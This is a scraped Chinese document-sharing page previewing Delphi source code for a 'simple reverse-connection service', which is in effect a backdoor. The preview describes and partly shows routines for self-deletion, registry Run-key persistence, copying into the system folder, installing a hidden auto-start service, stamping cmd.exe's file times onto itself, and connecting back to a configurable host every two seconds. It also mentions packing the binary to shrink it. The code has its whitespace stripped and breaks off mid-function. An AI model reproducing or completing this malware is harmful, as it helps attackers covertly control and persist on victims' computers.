Delphi一个简单的反向连接服务程序.doc

上传人:cl****1 文档编号:544014083 上传时间:2024-01-04 格式:DOC 页数:8 大小:35.50KB
返回 下载 相关 举报
Delphi一个简单的反向连接服务程序.doc_第1页
第1页 / 共8页
Delphi一个简单的反向连接服务程序.doc_第2页
第2页 / 共8页
Delphi一个简单的反向连接服务程序.doc_第3页
第3页 / 共8页
Delphi一个简单的反向连接服务程序.doc_第4页
第4页 / 共8页
Delphi一个简单的反向连接服务程序.doc_第5页
第5页 / 共8页
点击查看更多>>
资源描述

《Delphi一个简单的反向连接服务程序.doc》由会员分享,可在线阅读,更多相关《Delphi一个简单的反向连接服务程序.doc(8页珍藏版)》请在金锄头文库上搜索。

1、Delphi一个简单的反向连接服务程序转作者:hnxyy来源:火狐功能简介:运行后自删除,写注册表Run下,同时自拷贝到系统目录下,注册为系统服务SvrDemo,修改文件时间同Cmd.exe,每隔俩秒钟连接一次本地(127.0.0.1)的600端口,ip地址和端口可自行修改,部分代码来源于网上修改,主要在于演示服务程序,用fsg2.0加壳后9.8k,编译环境D7+2kPro。在命令行下加参数/U可以卸载服务程序。programSvrDemo;usesWindows,WinSvc,winsock;constRegName=SvrDemo;varszServiceName:pchar=SvrDem

2、o;szFileNamechar;ServiceTable:array0.1ofTServiceTableEntry;Status:SERVICE_STATUS;StatusHandle:SERVICE_STATUS_HANDLE;Stopped:boolean;Paused:boolean;cmd:array0.MAX_PATHofchar;/获取系统目录functionGetDirectory(dInt:Integer):string;vars:array0.255ofChar;begincasedIntof0:GetWindowsDirectory(s,256);/Windows安装文件

3、夾所存在的路径1:GetSystemDirectory(s,256);/系统文件夾所存在的路径2:GetTempPath(256,s);/Temp文件夾所存在的路径end;ifdInt=2thenresult:=string(s)elseresult:=string(s)+;end;/设置文件时间proceduresetTime(srcFile,destFile:PChar);varhFileOld,hFileNew:THandle;CreationTime,LastAccessTime,LastWriteTime:PFileTime;beginhFileOld:=createFile(src

4、File,generic_read,file_share_read,nil,open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil);if(hFileOld=INVALID_HANDLE_VALUE)thenexit;hFileNew:=createFile(destFile,generic_write,file_share_write,nil,open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil);if(hFileNew=INVALID_HANDLE_VALUE)thenexit;GetMem(Creati

5、onTime,SizeOf(TFileTime);GetMem(LastAccessTime,SizeOf(TFileTime);GetMem(LastWriteTime,SizeOf(TFileTime);GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime);SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime);FreeMem(CreationTime);FreeMem(LastAccesstime);FreeMem(LastWriteTime)

6、;CloseHandle(hFileNew);CloseHandle(hFileOld);end;functionLookupName(constName:string):TInAddr;varHostEnt:PHostEnt;InAddr:TInAddr;beginHostEnt:=gethostbyname(PChar(Name);FillChar(InAddr,SizeOf(InAddr),0);ifHostEntnilthenbeginwithInAddr,HostEntdobeginS_un_b.s_b1:=h_addr0;S_un_b.s_b2:=h_addr1;S_un_b.s_

7、b3:=h_addr2;S_un_b.s_b4:=h_addr3;end;end;Result:=InAddr;end;functionStartNet(host:string;port:integer;varsock:integer):Boolean;varwsadata:twsadata;FSocket:integer;SockAddrIn:TSockAddrIn;err:integer;beginerr:=WSAStartup(0101,WSAData);FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);ifFSocket=invalid_s

8、ocketthenbeginResult:=False;Exit;end;SockAddrIn.sin_addr:=LookupName(host);SockAddrIn.sin_family:=PF_INET;SockAddrIn.sin_port:=htons(port);err:=connect(FSocket,SockAddrIn,SizeOf(SockAddrIn);iferr=0thenbeginsock:=FSocket;Result:=True;endelsebeginResult:=False;end;end;procedureDelme;varmodule:HMODULE;

9、buf:array0.MAX_PATH-1ofchar;p:ULONG;hKrnl32:HMODULE;pExitProcess,pDeleteFile,pFreeLibrary:pointer;beginmodule:=GetModuleHandle(nil);GetModuleFileName(module,buf,sizeof(buf);CloseHandle(THandle(4);p:=ULONG(module)+1;hKrnl32:=GetModuleHandle(kernel32);pExitProcess:=GetProcAddress(hKrnl32,ExitProcess);

10、pDeleteFile:=GetProcAddress(hKrnl32,DeleteFileA);pFreeLibrary:=GetProcAddress(hKrnl32,FreeLibrary);asmleaeax,bufpush0push0pusheaxpushpExitProcesspushppushpDeleteFilepushpFreeLibraryretend;end;functionSetRegValue(key:Hkey;subkey,name,value:string):boolean;varregkey:hkey;beginresult:=false;RegCreateKe

11、y(key,PChar(subkey),regkey);ifRegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)=0thenresult:=true;RegCloseKey(regkey);end;procedureSetDelValue(ROOT:hKey;Path,Value:string);varKey:hKey;beginRegOpenKeyEx(ROOT,pChar(Path),0,KEY_ALL_ACCESS,Key);RegDeleteValue(Key,pChar(Value);R

12、egCloseKey(Key);end;functionInstallService(ServiceName,DisplayName,FileName:string):boolean;varSCManager,Service:THandle;Args:pchar;beginResult:=False;SCManager:=OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);ifSCManager=0thenExit;tryService:=CreateService(SCManager,/句柄PChar(ServiceName),/服务名称PChar(DisplayName),/显示服务名SERVICE_ALL_ACCESS,/服务访问类型SERVICE_WIN32_OWN_PROCESS,/服务类型orSERVICE_INTERACTIVE_PROCESSSERVICE_AUTO_START,/自动启动服务SERVICE_ERROR_IGNORE,/忽略错误PChar(FileName),/启动的文件名nil,

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 生活休闲 > 社会民生

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号